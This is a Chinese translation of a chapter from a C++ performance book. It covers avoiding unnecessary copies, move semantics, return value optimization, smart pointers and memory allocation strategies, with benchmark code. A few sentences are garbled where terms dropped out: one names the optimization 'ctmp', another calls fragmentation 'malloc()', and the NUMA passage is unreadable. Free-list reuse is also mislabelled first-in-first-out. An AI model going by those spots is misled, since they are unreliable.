本节包括以下章节:

  • 第九章, 高性能 C++

  • 第十章, C++中的编译器优化

  • 第十一章, 未定义行为和性能

  • 第十二章, 性能设计

第九章:高性能 C++

在本章中,我们将把重点从硬件资源的最佳使用转移到特定编程语言的最佳应用。尽管到目前为止我们学到的一切都可以应用于任何语言的任何程序,但本章涉及 C++的特性和特殊性。你将学会哪些 C++语言特性可能会导致性能问题,以及如何避免它们。

在本章中,我们将涵盖以下主要主题:

  • C++语言的效率和开销

  • 学会注意 C++语言结构的可能低效性

  • 避免低效的 C++代码

  • 优化内存访问和条件操作

技术要求

同样,你需要一个 C++编译器和一个微基准测试工具,比如我们在上一章中使用的Google Benchmark库(在github.com/google/benchmark找到)。

本章的代码可以在github.com/PacktPublishing/The-Art-of-Writing-Efficient-Programs/tree/master/Chapter09找到。

你还需要一种方法来检查编译器生成的汇编代码:许多开发环境都有显示汇编的选项;GCC 和 Clang 可以将汇编写出来而不是目标代码;调试器和其他工具可以从目标代码生成汇编(反汇编)。你可以根据个人喜好选择使用哪种工具。

编程语言的效率是什么?

程序员经常谈论一种语言是否高效。特别是 C++,它的开发明确目标是效率,同时在某些领域却有低效的声誉。这是怎么回事呢?

效率在不同的上下文或不同的人看来可能有不同的含义。例如:

  • C++的设计遵循零开销的原则:除了少数例外,如果你不使用某个特性,你就不需要为它付出任何运行时成本,即使它存在于语言中。从这个意义上说,它是一种高效的语言。

  • 显然,你必须为你使用的语言特性付出一些代价,至少如果它们转化为一些运行时工作的话。C++非常擅长不需要任何运行时代码来执行编译时可以完成的工作(尽管编译器和标准库的实现在效率上有所不同)。一种高效的语言不会给必须生成的代码增加任何开销,而在这方面,C++做得相当不错,但我们将在下面讨论一个主要的警告。

  • 如果前面的观点是正确的,那么为什么 C++会被认为是低效的?现在我们来看另一个效率的角度:在这种语言中编写高效的代码有多容易?或者,用一种看似自然但实际上是解决问题的非常低效的方式有多容易?一个密切相关的问题是我们在上一段提到的:C++在做你要求它做的事情时非常高效。但是在语言中表达你想要的并不总是容易的,而且,编写代码的自然方式有时会施加额外的要求或约束,程序员可能并不想要,也可能不知道。这些约束会产生运行时成本。

从语言设计师的角度来看,最后一个问题并不是语言的低效性:你让机器做 X 和 Y,做 X 和 Y 需要时间,我们并没有做超出你要求我们做的事情。但从程序员的角度来看,如果程序员只想做 X 而不关心 Y,这就是一种低效的语言。

本章的目标是帮助您编写清晰表达您想让机器执行的代码。目的是双重的:您可能认为您的主要受众是编译器:通过精确描述您想要的内容以及编译器可以自由更改的内容,您给予编译器生成更有效代码的自由。但对于您程序的读者也可以这样说:他们只能推断您在代码中表达的内容,而不是您打算表达的内容。如果优化代码会改变其行为的某些方面,这样做是否安全?这种行为是有意的还是实现的意外可以改变的?我们再次被提醒,编程主要是与我们的同行交流的一种方式,然后才是与机器交流。

我们将从看似容易避免的简单低效开始,但即使是掌握了语言的其他方面的程序员的代码中也会出现这些问题。

不必要的复制

对象的不必要复制可能是C++效率问题#1。主要原因是这样做很容易,很难注意到。考虑以下代码:

std::vector<int> v = make_v(… some args …);
do_work(v);

在这个程序中,向量v被复制了多少次?答案取决于函数make_v()do_work()的细节以及编译器的优化。这个小例子涵盖了我们将要讨论的几个语言细微差别。

复制和参数传递

我们将从第二个函数do_work()开始。这里重要的是声明:如果函数通过引用,const或不是,接受参数,那么不会进行复制。

void do_work(std::vector<int>& vr) {
  … vr is a reference to v …
}

如果函数使用按值传递,那么必须进行复制:

void do_work(std::vector<int> vc) {
  … vc is a copy of v …
}

如果向量很大,复制向量是一个昂贵的操作:必须复制向量中的所有数据。这是一个昂贵的函数调用。如果工作本身不需要向量的副本,那么它也是极其低效的。例如,如果我们只需要计算向量中所有元素的和(或其他函数),我们不需要复制。虽然乍一看似乎不太理想,调用本身并不告诉我们是否进行了复制,但这就是应该的。是否进行复制的决定属于函数的实现者,并且只有在考虑要求和算法选择之后才能做出。对于前面提到的累加所有元素和的问题,正确的决定显然是通过(const)引用传递向量如下:

void do_work(const std::vector<int>& v) {
  int sum = 0;
  for (int x: v) sum += x;
  … use sum … 
}

在这种情况下使用按值传递是如此明显的低效,以至于它可能被认为是一个错误,但它发生的频率比你想象的要多。特别是在模板代码中,作者只考虑了小型、轻量级的数据类型,但代码最终被更广泛地使用。

另一方面,如果我们需要创建参数的副本作为满足函数要求的一部分,使用参数传递是一个很好的方式:

void do_work(std::vector<int> v) {
  for (int& x : v) x = std::min(x, 255);
  … do computations on the new values …
}

在这里,我们需要在进一步处理数据之前应用所谓的夹紧循环。假设我们多次读取夹紧的值,为每次访问调用std::min()可能不如创建结果的缓存副本效率高。我们也可以做一个显式的复制,这可能稍微更有效,但这种优化不应该留给猜测;只有通过基准测试才能得到明确的答案。

C++11 引入了移动语义作为不必要复制的部分答案。在我们的例子中,我们观察到如果函数参数是一个 r 值,我们可以以任何方式使用它,包括改变它(调用完成后,调用者无法访问对象)。利用移动语义的常规方式是用 r 值引用版本重载函数:

void do_work(std::vector<int>&& v) {
  … can alter v data … 
}

然而,如果对象本身是可移动的,我们简单的按值传递版本在新的光芒下闪耀。参考以下代码:

void do_work(std::vector<int> v) {
  … use v destructively … 
}
std::vector<int> v1(…);
do_work(v1);                 // Local copy is made
do_work(std::vector<int>(…));    // R-value

do_work()的第一次调用使用了一个 l-value 参数,因此在函数内部进行了一个本地复制(参数是按值传递的!)。第二次调用使用了一个 r-value 或一个无名临时对象。由于向量具有移动构造函数,函数参数被移动(而不是复制!)到其参数中,移动向量非常快。现在,通过一个函数的单一实现,没有任何重载,我们可以高效地处理 r-value 和 l-value 参数。

现在我们已经看到了两个极端的例子。在第一种情况下,不需要参数的复制,创建一个纯粹是低效的。在第二种情况下,进行复制是一个合理的实现。并不是每种情况都属于这两个极端之一,正如我们将要看到的那样。

作为实现技术的复制

还有一种中间地带,选择的实现需要参数的复制,但实现本身并不是最佳的。例如,考虑下面需要按排序顺序打印向量的函数:

void print_sorted(std::vector<int> v) {
  std::sort(v.begin(), v.end());
  for (int x: v) std::cout << x << “\n”;
}

对于整数向量,这可能是最佳的方式。我们对容器本身进行排序,并按顺序打印它。由于我们不应该修改原始容器,我们需要一个副本,再次利用编译器进行复制也没有问题。

但是,如果向量的元素不是整数,而是一些大对象呢?在这种情况下,复制向量需要大量内存,并且对大对象进行排序需要大量时间。在这种情况下,更好的实现可能是创建并对指针向量进行排序,而不移动原始对象:

template <typename T>
void print_sorted(const std::vector<T>& v) {
  std::vector<const T*> vp; vp.reserve(v.size());
  for (const T& x: v) vp.push_back(&x);
  std::sort(vp.begin(), vp.end(), 
     [](const T* a, const T* b) { return *a < *b;});
  for (const T* x: vp) std::cout << *x << “\n”;
}

由于我们现在已经学会了永远不要猜测性能,直觉需要通过基准测试来确认。由于对已排序的向量进行排序不需要进行任何复制,我们希望在基准测试的每次迭代中都有一个新的、未排序的向量,如下所示:

void BM_sort(benchmark::State& state) {
   const size_t N = state.range(0);
   std::vector<int> v0(N); for (int& x: v0) x = rand();
   std::vector<int> v(N);
   for (auto _ : state) {
         v = v0;
         print_sorted(v);
   }
   state.SetItemsProcessed(state.iterations()*N);
 }

当然,我们应该禁用实际的打印,因为我们不关心对 I/O 进行基准测试。另一方面,我们应该对向量进行复制而不进行排序的基准测试,这样我们就知道测量时间的哪一部分用于设置测试。

基准测试证实,对于整数来说,复制整个向量并对副本进行排序更快:

图 9.1 - 对整数向量进行排序的基准测试,复制与指针间接

图 9.1 - 对整数向量进行排序的基准测试,复制与指针间接

请注意,如果向量很小且所有数据都适合低级缓存,那么处理速度无论如何都非常快,速度几乎没有差异。如果对象很大且复制成本很高,那么间接引用相对更有效:

图 9.2 - 对大对象向量进行排序的基准测试,复制与指针间接

图 9.2 - 对大对象向量进行排序的基准测试,复制与指针间接

在实现时,还有另一种特殊情况需要复制对象;我们将在下面考虑这种情况。

复制以存储数据

在 C++中,我们可能会遇到另一种数据复制的特殊情况。它最常发生在类构造函数中,其中对象必须存储数据的副本,因此必须创建一个超出构造函数调用寿命的长期复制。考虑以下示例:

class C {
  std::vector<int> v_;
  C(std::vector<int> ??? v) { … v_ is a copy of v … }
};

这里的意图是进行复制。低效的做法是进行多次中间复制或进行不必要的复制。实现这一点的标准方法是通过const引用获取对象,并在类内部进行复制:

class C {
  std::vector<int> v_;
  C(const std::vector<int>& v) : v_(v) { … }
};

如果构造函数的参数是一个 l-value,这是它可以达到的最高效率。但是,如果参数是一个 r-value(临时对象),我们更希望将其移动到类中,并且根本不进行复制。这需要为构造函数进行重载:

class C {
  std::vector<int> v_;
  C(std::vector<int>&& v) : v_(std::move(v)) { … }
};

缺点是需要编写两个构造函数,但如果构造函数需要多个参数,并且每个参数都需要被复制或移动,情况会变得更糟。按照这种模式,我们需要 6 个构造函数重载来处理 3 个参数。

另一种方法是通过值传递所有参数并从参数中移动,检查以下代码:

class C {
  std::vector<int> v_;
  C(std::vector<int> v) : v_(std::move(v)) 
  { … do not use v here!!! … }
};

非常重要的是要记住,参数v现在是一个 x 值(处于移动状态的对象),不应该在构造函数的主体中使用。如果参数是 l 值,将进行一次复制以构造参数v,然后移动到类中。如果参数是 r 值,则将其移动到参数v中,然后再移动到类中。如果对象移动起来很便宜,这种模式效果很好。但是,如果对象移动起来很昂贵,或者根本没有移动构造函数(因此会被复制),我们最终会做两次复制而不是一次。

到目前为止,我们已经专注于将数据传递给函数和对象的问题。但是在需要返回结果时,也可能发生复制。这些考虑是完全不同的,需要单独进行检查。

返回值的复制

我们在本节开头的示例中包括了两种复制。特别是这一行:

std::vector<int> v = make_v(… some args …);

这意味着生成的向量v是从另一个向量创建的,即函数make_v返回的向量:

std::vector<int> make_v(… some args …) {
  std::vector<int> vtmp;
  … add data to vtmp …
  return vtmp;
}

理论上,这里可能会产生多个副本:局部变量vtmp被复制到函数make_v的(无名)返回值中,然后又被复制到最终结果v中。实际上,这是不会发生的。首先,函数make_v的无名临时返回值被移动而不是复制到v中。但是,最有可能的是,这也不会发生。如果您尝试使用自己的类而不是std::vector来运行此代码,您会发现既没有使用复制构造函数也没有使用移动构造函数:

class C {
  int i_ = 0;
  public:
  explicit C(int i) : i_(i) { 
   std::cout << “C() @” << this << std::endl;
  }
  C(const C& c) : i_(c.i_) {
     std::cout << “C(const C&) @” << this << std::endl;
  }
  C(C&& c) : i_(c.i_) {
     std::cout << “C(C&&) @” << this << std::endl;
  }
  ~C() { cout << “~C() @” << this << endl; }
  friend std::ostream& operator<<( std::ostream& out,
                                  const C& c) {
     out << c.i_; return out;
  }
 };  
 C makeC(int i) { C ctmp(i); return ctmp; }
 int main() {
   C c = makeC(42);
   cout << c << endl;
}

这个程序打印出类似以下内容的东西(在大多数编译器上,必须打开一定级别的优化):

图 9.3 - 程序返回对象的输出

图 9.3 - 程序返回对象的输出

正如您所看到的,只构造和销毁了一个对象。这是编译器优化的结果。这里使用的特定优化被称为ctmp,无名临时返回值和最终结果c - 都是相同类型。此外,我们编写的任何代码都不可能同时观察到这三个变量中的任何两个。因此,在不改变任何可观察行为的情况下,编译器可以使用相同的内存位置来存储所有三个变量。在调用函数之前,编译器需要分配内存,用于构造最终结果c的位置。编译器将这个内存地址传递给函数,在函数中用于在相同位置构造局部变量ctmp。结果是,当函数makeC结束时,根本没有什么需要返回的:结果已经在应该的地方。这就是 RVO 的要点。

尽管 RVO 看起来很简单,但它有几个微妙之处。

首先,要记住这是一种优化。这意味着编译器通常不必这样做(如果你的编译器不这样做,你需要一个更好的编译器)。然而,这是一种非常特殊的优化。一般来说,只要不改变可观察行为,编译器可以对你的程序做任何它想做的事情。可观察行为包括输入和输出以及访问易失性内存。然而,这种优化导致了可观察行为的改变:拷贝构造函数和匹配的析构函数的预期输出都不见了。事实上,这是一个例外,违背了通常的规则:即使这些函数具有包括可观察行为在内的副作用,编译器也允许消除对拷贝或移动构造函数以及相应析构函数的调用。这个例外并不局限于 RVO。这意味着,一般来说,你不能指望拷贝和移动构造函数会被调用,只因为你写了一些看起来像是在进行拷贝的代码。这就是所谓的拷贝省略(或移动省略,对于移动构造函数)。

其次,要记住(再次)这是一种优化。在进行优化之前,代码必须能够编译。如果你的对象没有任何拷贝或移动构造函数,这段代码将无法编译,我们将永远无法进行将删除所有这些构造函数调用的优化步骤。如果我们在示例中删除所有拷贝和移动构造函数,这一点很容易看出:

class C {
  …
  C(const C& c) = delete;
  C(C&& c) = delete;
};  

编译现在会失败。确切的错误消息取决于编译器和 C++标准级别;在 C++17 中,它会看起来像这样:

图 9.4 - 使用 C++17 或 C++20 的 Clang 编译输出

图 9.4 - 使用 C++17 或 C++20 的 Clang 编译输出

有一种特殊情况,即使删除了拷贝和移动操作,我们的程序也会编译。让我们对makeC函数进行一些微小的更改:

C makeC(int i) { return C(i); }

C++11 或 C++14 中没有任何变化;然而,在 C++17 及以上版本中,这段代码可以成功编译。请注意与之前版本的细微差别:返回的对象以前是一个 l-value,它有一个名字。现在它是一个 r-value,一个没有名字的临时对象。这造成了很大的不同:虽然命名返回值优化(NRVO)仍然是一种优化,但自 C++17 以来,无名的返回值优化是强制性的,不再被视为拷贝省略。相反,标准规定首先不会请求任何拷贝或移动。

最后,你可能会想知道编译器是否必须内联函数,以便在编译函数本身时知道返回值的位置。通过简单的测试,你可以确信这并非如此:即使函数makeC在一个单独的编译单元中,RVO 仍然会发生。因此,编译器必须在调用点将结果的地址发送给函数。如果你根本不从函数中返回结果,而是将结果的引用作为额外的参数传递,你也可以自己做类似的事情。当然,该对象必须首先被构造,而编译器生成的优化不需要额外的构造函数调用。

你可能会发现有人建议不要依赖 RVO,而是强制移动返回值:

C makeC(int i) { C c(i); return std::move(c); }

有人认为,如果 RVO 没有发生,你的程序将承受复制操作的性能损失,而移动操作无论如何都很便宜。然而,这个观点是错误的。要理解为什么,请仔细看图 9.4中的错误消息:尽管ctmp是一个 l 值并且应该被复制,编译器却抱怨移动构造函数被删除。这不是编译器的错误,而是标准所要求的行为:在返回值优化可能发生的情况下,但编译器决定不这样做时,编译器必须首先尝试找到一个move构造函数来返回结果。如果找不到move构造函数,就会进行第二次查找;这一次,编译器会寻找一个复制构造函数。在这两种情况下,编译器实际上是在执行重载解析,因为可能有许多复制或move构造函数。因此,没有理由写一个显式的移动:编译器会为我们做一个。那么,有什么害处呢?害处在于使用显式移动会禁用 RVO;你要求进行移动,所以你会得到一个。虽然移动可能需要很少的工作,但 RVO 根本不需要工作,没有工作总是比一些工作更快。

如果我们删除move构造函数但不删除复制构造函数会发生什么?即使在两个构造函数都被删除的情况下编译仍然失败。这是语言的一个微妙之处:声明一个已删除的成员函数并不等同于不声明任何成员函数。如果编译器执行move构造函数的重载解析,它会找到一个,即使这个构造函数被删除了。编译失败是因为重载解析选择了一个已删除的函数作为最佳(或唯一)重载。如果你想强制使用复制构造函数(当然是为了科学),你必须根本不声明任何move构造函数。

到目前为止,你一定已经看到了意外复制对象并破坏程序性能的危险隐藏在你的代码的每一个黑暗角落。你能做些什么来避免意外复制?我们马上会有一些建议,但首先,让我们回到我们已经简要使用过的一个方法:使用指针。

使用指针来避免复制

在传递对象时避免复制对象的一种方法是传递指针。如果我们不必管理对象的生命周期,这是最容易的。如果一个函数需要访问一个对象但不需要删除它,通过引用或原始指针传递对象是最好的方式(在这种情况下,引用实际上只是一个不能为 null 的指针)。

同样,我们可以使用指针从函数返回对象,但这需要更多的注意。首先,对象必须在堆上分配。你绝对不能返回指向局部变量的指针或引用。参考以下代码:

C& makeC(int i) { C c(i); return c; } // Never do this!

其次,调用者现在负责删除对象,因此你的函数的每个调用者都必须知道对象是如何构造的(new操作符不是构造对象的唯一方式,只是最常见的一种)。这里最好的解决方案是返回一个智能指针:

std::unique_ptr<C> makeC(int i) {
  return std::make_unique<C>(i);
}

请注意,这样的工厂函数应该返回独特的指针,即使调用者可能使用共享指针来管理对象的生命周期:从独特指针移动到共享指针是简单且便宜的。

说到共享指针,它们经常用于传递由智能指针管理生命周期的对象。除非意图是传递对象的所有权,否则这又是一个不必要和低效的复制的例子。复制共享指针并不便宜。那么,如果我们有一个由共享指针管理的对象和一个需要在不获取所有权的情况下对该对象进行操作的函数,我们使用原始指针:

void do_work1(C* c);
void do_work2(const C* c);
std::shared_ptr<C> p { new C(…) };
do_work1(&*p);
do_work2(&*p);

函数do_work1()do_work2()的声明告诉我们程序员的意图:两个函数都在不删除对象的情况下操作对象。第一个函数修改对象;第二个函数不修改。这两个函数都期望在没有对象的情况下被调用,并将处理这种特殊情况(否则,参数将被按引用传递)。

同样,你可以创建原始指针的容器,只要对象的生命周期在其他地方管理。如果你希望容器管理其元素的生命周期,但又不想将对象存储在容器中,唯一指针的容器就可以胜任。

现在是时候提出一些通用的准则,帮助你避免不必要的拷贝和由此引起的低效率。

如何避免不必要的拷贝

要减少意外的、无意的拷贝,你可以做的最重要的事情也许是确保所有的数据类型都是可移动的,如果移动的成本比拷贝更低的话。如果你有容器库或其他可重用的代码,确保它也是可移动的。

下一个建议有些粗糙,但可以节省大量的调试时间:如果你有昂贵的类型需要拷贝,最好一开始就将它们设置为不可拷贝。声明拷贝和赋值操作为删除。如果类支持快速移动,提供移动操作。当然,这将阻止任何拷贝,无论是有意还是无意的。希望有意的拷贝很少,你可以实现一个特殊的成员函数,比如clone(),它将创建对象的副本。至少这样,所有的拷贝都是显式的,并且在你的代码中是可见的。如果类既不可拷贝也不可移动,你将无法将其与 STL 容器一起使用;然而,使用唯一指针的容器是一个很好的替代方案。

在向函数传递参数时,尽可能使用引用或指针。如果函数需要对参数进行拷贝,请考虑按值传递并从参数中移动。记住,这仅适用于可移动类型,并参考第一个准则。

我们关于传递函数参数的所有说法也适用于临时局部变量(毕竟,函数参数基本上就是函数范围内的临时局部变量)。除非你需要一个拷贝,否则这些应该是引用。这不适用于像整数或指针这样的内置类型:它们比间接访问更便宜。在模板代码中,你无法知道类型是大还是小,所以使用引用,并依赖于编译器优化来避免对内置类型的不必要的间接访问。

当从函数返回值时,你首选应该依赖于 RVO 和拷贝省略。只有当你发现编译器没有执行这种优化,并且在你的特定情况下这很重要时,你才应该考虑其他选择。这些替代方案包括:使用带有输出参数的函数和使用在动态分配内存中构造结果并返回拥有智能指针(如std::unique_ptr)的工厂函数。

最后,审查你的算法和实现,留意不必要的拷贝:记住,恶意的拷贝对性能的影响和无意的拷贝一样糟糕。

我们已经完成了 C++程序中效率的第一个问题,即不必要的对象拷贝。接下来的问题是糟糕的内存管理。

低效的内存管理

C++中的内存管理这个主题可能值得一本专门的书。有数十甚至数百篇论文专门讨论 STL 分配器的问题。在本章中,我们将专注于影响性能最大的几个问题。有些问题有简单的解决方案;对于其他问题,我们将描述问题并概述可能的解决方案。

在性能的背景下,你可能会遇到两种与内存相关的问题。第一个是使用过多的内存:你的程序要么耗尽内存,要么不满足内存使用要求。第二个问题是当你的程序变得受限于内存:其性能受到内存访问速度的限制。通常情况下,程序的运行时间与其内存使用量直接相关,减少内存使用也会使程序运行更快。

本节介绍的材料对于处理受限于内存的程序或频繁分配大量内存的程序的程序员来说是有帮助的。我们首先从内存分配本身的性能影响开始。

不必要的内存分配

与内存使用相关的最常见的性能问题之一是不必要的内存分配。这里是一个非常常见的问题,用类似 C++的伪代码描述:

for ( … many iterations … ) {
  T* buffer = allocate(… size …);
  do_work(buffer); // Computations use memory
  deallocate(buffer);
}

一个写得很好的程序会使用 RAII 类来管理释放,但为了清晰起见,我们希望明确地进行分配和释放。分配通常隐藏在管理自己内存的对象内部,比如 STL 容器。这样的程序大部分时间都花在内存分配和释放函数上(比如malloc()free())。

我们可以看到性能对一个非常简单的基准测试的影响:

void BM_make_str_new(benchmark::State & state) {
    const size_t NMax = state.range(0);
    for (auto _: state) {
        const size_t N = (random_number() % NMax) + 1;
        char * buf = new char[N];
        memset(buf, 0xab, N);
        delete[] buf;
    }
    state.SetItemsProcessed(state.iterations());
}

这里的工作是通过初始化一个字符串来表示,random_number()函数返回随机整数值(它可以只是rand(),但如果我们预先计算并存储随机数以避免对随机数生成器进行基准测试,那么基准测试就会更干净)。你可能还需要欺骗编译器,使其不要优化结果:如果通常的benchmark::DoNotOptimize()不够用,你可能需要插入一个带有永远不会发生的条件的打印语句(但编译器不知道)比如rand() < 0

我们从基准测试中得到的数字本身是没有意义的:我们需要将它们与某些东西进行比较。在我们的情况下,基准很容易找到:我们必须做同样的工作,但没有任何分配。这可以通过将分配和释放移出循环来实现,因为我们知道最大内存大小:

  char * buf = new char[NMax];
  for (auto _: state) {
      …}
  delete[] buf;

在这样的基准测试中,你观察到的性能差异在很大程度上取决于操作系统和系统库,但你可能会看到类似这样的情况(我们使用了最多 1KB 的随机大小的字符串):

图 9.5-分配-释放模式的性能影响

图 9.5-分配-释放模式的性能影响

应该注意,在微基准测试中,内存分配通常比在大型程序的上下文中更有效率,因为内存分配模式要复杂得多,因此频繁分配和释放的实际影响可能更大。即使在我们的小基准测试中,每次分配内存的实现速度只有分配最大可能内存量一次版本的 40%。

当然,当我们在计算过程中需要的最大内存量事先知道时,预先分配并在下一次迭代中重复使用是一个简单的解决方案。这个解决方案也适用于许多容器:对于向量或双端队列,我们可以在迭代开始之前预留内存,并利用调整容器大小不会减小其容量的特性。

当我们事先不知道最大内存大小时,解决方案只是稍微复杂一些。这种情况可以用一个只增长不缩小的缓冲区来处理。这是一个简单的缓冲区,可以增长但永远不会缩小:

class Buffer {
  size_t size_;
  std::unique_ptr<char[]> buf_;
  public:
  explicit Buffer(size_t N) : size_(N), buf_(
    new char[N]) {}
  void resize(size_t N) { 
     if (N <= size_) return;
     char* new_buf = new char[N];
     memcpy(new_buf, get(), size_);
     buf_.reset(new_buf);
     size_ = N;
  }
  char* get() { return &buf_[0]; }
};

再次强调,这段代码对于演示和探索是有用的。在一个真实的程序中,你可能会使用 STL 容器或你自己的库类,但它们都应该有增加内存容量的能力。我们可以通过简单修改我们的基准测试来比较这个仅增长缓冲区与固定大小预分配缓冲区的性能:

void BM_make_str_buf(benchmark::State& state) {
  const size_t NMax = state.range(0);
  Buffer buf(1);
  for (auto _ : state) {
     const size_t N = (random_number() % NMax) + 1;     
     buf.resize(N);
     memset(buf.get(), 0xab, N);
  }
  state.SetItemsProcessed(state.iterations());
}

再次强调,在一个真实的程序中,通过更智能的内存增长策略(略微超过请求的增长,这样你就不必经常增长内存 - 大多数 STL 容器都采用某种形式的这种策略)你可能会得到更好的结果。但是,对于我们的演示,我们希望尽可能地保持简单。在同一台机器上,基准测试的结果如下:

图 9.6 - 仅增长缓冲区的性能(与图 9.5 进行比较)

图 9.6 - 仅增长缓冲区的性能(与图 9.5 进行比较)

增长型缓冲区比固定大小缓冲区慢,但比每次分配和释放内存要快得多。再次强调,更好的增长策略会使这个缓冲区变得更快,接近固定大小缓冲区的速度。

这还不是全部:在多线程程序中,良好的内存管理的重要性更大,因为对系统内存分配器的调用不会很好地扩展,并且可能涉及全局锁。在同一台机器上使用 8 个线程运行我们的基准测试产生了以下结果:

图 9.7 - 多线程程序中分配-释放模式的性能影响

图 9.7 - 多线程程序中分配-释放模式的性能影响

在这里,频繁分配的惩罚更大(仅增长缓冲区显示了剩余分配的成本,并且真的会受益于更智能的增长策略)。

关键是:尽量减少与操作系统的交互。如果你有一个需要在每次迭代中分配和释放内存的循环,那么在循环之前分配一次。如果分配的大小相同,或者你事先知道最大分配大小,那么就分配这个大小并保持它(当然,如果你使用多个缓冲区或容器,你不应该试图把它们塞进一个单一的分配中,而是预先分配每一个)。如果你不知道最大大小,使用一个可以增长但不会缩小或释放内存直到工作完成的数据结构。

避免与操作系统交互的建议在多线程程序中尤为重要,现在我们将对并发程序中内存使用进行一些更一般的评论。

并发程序中的内存管理

操作系统提供的内存分配器是一个平衡多种需求的解决方案:在一台给定的机器上,只有一个操作系统,但有许多不同的程序,它们有自己独特的需求和内存使用模式。开发人员非常努力地使它在任何合理的用例中都不会失败;另一方面,它很少是任何用例的最佳解决方案。通常情况下,它足够好,特别是如果你遵循频繁请求内存的建议。

在并发程序中,内存分配变得更加低效。主要原因是任何内存分配器都必须维护一个相当复杂的内部数据结构来跟踪分配和释放的内存。在高性能分配器中,内存被划分为多个区域,以将相似大小的分配组合在一起。这增加了性能,但也增加了复杂性。结果是,如果多个线程同时分配和释放内存,那么这些内部数据的管理必须受到锁的保护。这是一个全局锁,适用于整个程序,如果分配器经常被调用,它可能会限制整个程序的扩展。

这个问题的最常见解决方案是使用具有线程本地缓存的分配器,比如流行的malloc()替代库 TCMalloc。这些分配器为每个线程保留一定数量的内存:当一个线程需要分配内存时,首先从线程本地内存区域中取出。这不需要锁,因为只有一个线程与该区域交互。只有当该区域为空时,分配器才必须获取锁,并从所有线程共享的内存中分配。同样,当一个线程释放内存时,它会被添加到特定于线程的区域,而无需任何锁定。

线程本地缓存并非没有问题。

首先,它们往往会使用更多的内存:如果一个线程释放了大量内存,另一个线程分配了大量内存,那么最近释放的内存对于其他线程是不可用的(它是本地的)。因此,分配更多的内存,而未使用的内存对其他线程是可用的。为了限制这种内存浪费,分配器通常不允许每个线程的区域增长超过某个预定义的限制。一旦达到限制,线程本地内存就会返回到所有线程共享的主要区域(这个操作需要一个锁)。

第二个问题是,如果每个分配都由一个线程拥有,也就是说,同一个线程在每个地址分配和释放内存,那么这些分配器就能很好地工作。如果一个线程分配了一些内存,但另一个线程必须释放它,这种跨线程的释放是困难的,因为内存必须从一个线程的本地区域转移到另一个线程的本地区域(或共享区域)。简单的基准测试显示,使用标准分配器(如malloc()或 TCMalloc)进行跨线程释放的性能至少比线程拥有的内存差一个数量级。这很可能对任何利用线程本地缓存的分配器都是如此,因此应尽量避免线程之间的内存转移。

到目前为止,我们讨论了将内存从一个线程转移到另一个线程以便释放的问题。那么简单地使用另一个线程分配的内存呢?这种内存访问的性能在很大程度上取决于硬件能力。对于一个具有少量 CPU 的简单系统,这可能不是问题。但更大的系统有多个内存银行,CPU 和内存之间的连接不对称:每个内存银行更接近一个 CPU。这被称为非一致内存架构NUMA)。NUMA 的性能影响因不重要快两倍而变化很大。有方法可以调整 NUMA 内存系统的性能,以及使程序内存管理对 NUMA 细节敏感,但要注意,你可能在调整性能以适应特定的机器:关于 NUMA 系统的性能几乎没有什么可以说的。

现在我们回到了更有效地使用内存的问题,因为这对并发和串行程序的性能都是有益的。

避免内存碎片化

一个困扰许多程序的问题是与内存分配系统的低效交互。假设程序需要分配 1 KB 的内存。这块内存是从某个较大的内存区域中划分出来的,由分配器标记为已使用,并将地址返回给调用者。随后进行更多的内存分配,所以我们 1 KB 的内存块之后的内存现在也被使用了。然后程序释放第一个分配的内存,并立即请求 2 KB 的内存。有 1 KB 的空闲块,但不足以满足这个新的请求。可能在其他地方有另一个 1 KB 的块,但只要这两个块不相邻,它们对于 2 KB 的分配就没有用处:

图 9.8 - 内存碎片化:存在 2 KB 的空闲内存,但对于单个 2 KB 的分配是无用的

图 9.8 - 内存碎片化:存在 2 KB 的空闲内存,但对于单个 2 KB 的分配是无用的

这种情况被称为malloc(),但对于快速消耗内存的程序,可能需要更极端的措施。

其中一种措施是块分配器。其思想是所有内存都以固定大小的块分配,比如 64 KB。你不应该一次从操作系统中分配这么大的单个块,而是应该分配更大的固定大小的块(比如 8 MB),然后将它们细分为更小的块(在我们的例子中是 64 KB)。处理这些请求的内存分配器是程序中的主要分配器,直接与malloc()交互。因为它只分配一个大小的块,所以它可以非常简单,我们可以专注于最有效的实现(并发程序的线程本地缓存,实时系统的低延迟等)。当然,你不希望在代码的各个地方都处理这些 64 KB 的块。这是次要分配器的工作,如下图图 9.9所示:

图 9.9 - 固定大小块分配

图 9.9 - 固定大小块分配

你可以有一个分配器进一步将 64 KB 的块细分为更小的分配。特别高效的是统一分配器(只分配一个大小的分配器):例如,如果你想为单个 64 位整数分配内存,你可以做到没有任何内存开销(相比之下,malloc()通常至少需要 16 字节的开销)。你还可以有容器分配内存在 64 KB 的块中并用它来存储元素。你不会使用向量,因为它们需要单个大的连续分配。你想要的类似数组的容器是 deque,它分配内存在固定大小的块中。当然,你也可以有节点容器。如果 STL 分配器接口满足你的需求,你可以使用 STL 容器;否则,你可能需要编写自己的容器库。

固定大小块分配的关键优势在于它不会受到碎片化的影响:从malloc()分配的所有分配都是相同大小的,因此主分配器的所有分配也是如此。每当一个内存块被返回给分配器,它都可以被重用来满足下一个内存请求。参考下图:

图 9.10 - 固定大小分配器中的内存重用

图 9.10 - 固定大小分配器中的内存重用

首先进先出的特性也是一个优势:最后的 64 KB 内存块很可能是最近使用的内存,仍然在缓存中。立即重用这个块可以改善内存引用局部性,因此更有效地利用缓存。分配器将返回给它的块管理为一个简单的空闲列表(图 9.10)。这些空闲列表可以按线程维护,以避免锁定,尽管它们可能需要定期重新平衡,以避免一个线程积累了许多空闲块,而另一个线程正在分配新的内存。

当然,将我们的 64 KB 块细分为更小尺寸的分配器仍然容易受到碎片化的影响,除非它们也是统一(固定大小)的分配器。然而,如果它必须处理一个小的内存范围(一个块)和少量不同的大小,编写自动整理分配器会更容易。

很可能整个程序都受到使用块内存分配的影响。例如,分配大量小数据结构,使得每个数据结构使用 64 KB 块的一部分并且剩下的部分未使用会变得非常昂贵。另一方面,一个数据结构本身是一组较小的数据结构(一个容器),这样它可以将许多较小的对象打包到一个块中,变得更容易编写。甚至可以编写压缩容器,用于长期保留数据,然后逐块解压缩以进行访问。

块大小本身也不是一成不变的。一些应用程序使用较小的块会更有效,因为如果块部分未使用,则浪费的内存较少。其他应用则可以从需要较少分配的较大块中受益。

应用特定分配器的文献非常丰富。例如,板块分配器是我们刚刚看到的块分配器的一般化;它们有效地管理多种分配大小。还有许多其他类型的自定义内存分配器,其中大多数可以在 C++程序中使用。使用适合特定应用的分配器通常会带来显著的性能改进,通常以严重限制程序员在数据结构实现中的自由为代价。

效率不高的另一个常见原因更微妙,也更难处理。

